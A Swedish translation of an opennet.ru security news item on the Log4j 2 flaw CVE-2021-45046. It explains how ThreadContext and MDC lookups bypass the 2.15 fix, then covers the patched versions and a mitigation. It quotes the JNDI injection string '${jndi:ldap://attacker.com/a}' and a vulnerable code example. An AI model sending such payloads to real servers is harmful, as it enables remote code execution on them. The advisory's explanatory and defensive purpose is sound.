En annan sårbarhet har identifierats i implementeringen av JNDI-uppslagningar i Log4j 2-biblioteket (CVE-2021-45046), som visas trots de korrigeringar som lagts till i version 2.15 och oavsett användningen av "log4j2.noFormatMsgLookup"-inställningen för skydd. Problemet är farligt främst för äldre versioner av Log4j 2, skyddade med flaggan "noFormatMsgLookup", eftersom det gör det möjligt att kringgå skydd från tidigare sårbarheter (Log4Shell, CVE-2021-44228), vilket låter dig köra din kod på server. För användare av version 2.15 är utnyttjandet begränsat till att få applikationen att krascha på grund av uttömning av tillgängliga resurser.
Sårbarheten visas bara på system som använder kontextsökningar för loggning, som ${ctx:loginId}, eller MDC-mallar (Thread Context Map), som %X, %mdc och %MDC. Operation handlar om att skapa förutsättningar för att mata ut data som innehåller JNDI-ersättningar till loggen när man använder kontextfrågor eller MDC-mallar i applikationen som definierar reglerna för formatering av utdata till loggen.
Forskare från LunaSec noterade att för versioner av Log4j mindre än 2.15 kan denna sårbarhet användas som en ny vektor för en Log4Shell-attack som leder till kodexekvering om ThreadContext-uttryck som inkluderar extern data används i loggutgången, oavsett om " noMsgFormatLookups " eller mallen "%m{nolookups}".
Att kringgå skyddet beror på det faktum att istället för direkt ersättning av "${jndi:ldap://attacker.com/a}", ersätts detta uttryck med värdet på en mellanvariabel som används i reglerna för formatering av loggutdata . Till exempel, om kontextfrågan ${ctx:apiversion} används vid utmatning till loggen, kan attacken utföras genom att ersätta data "${jndi:ldap://attacker.com/a}" i värde skrivet till apiversionsvariabeln. Exempel på sårbar kod: appender.console.layout.pattern = ${ctx:apiversion} - %d{åååå-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP-huvudvärdet "X-Api-Version" skickas till ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Vid utmatning till loggen kommer det externa apiversionsvärdet att bearbetas med ersättningen ${ctx:apiversion} logger.info("Mottog en begäran om API-version"); returnera "Hej världen!"; }
I Log4j version 2.15 kan sårbarheten användas för att utföra DoS-attacker när värden överförs till ThreadContext, vilket resulterar i en loop i bearbetning av mall för utformatering.
Uppdateringar 2.16 och 2.12.2 har publicerats för att blockera sårbarheten. I Log4j 2.16-grenen, utöver de korrigeringar som implementerats i version 2.15 och bindningen av JNDI LDAP-förfrågningar till "localhost", är JNDI-funktionaliteten helt inaktiverad som standard och stöd för mallar för meddelandeersättning tas bort. Som en säkerhetslösning föreslås det att du tar bort klassen JndiLookup från klasssökvägen (till exempel "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Du kan spåra utseendet på korrigeringar i paket på distributionssidorna (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) och Java-plattformstillverkare (GitHub, Docker, Oracle, vmWare, Broadcom och Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Källa: opennet.ru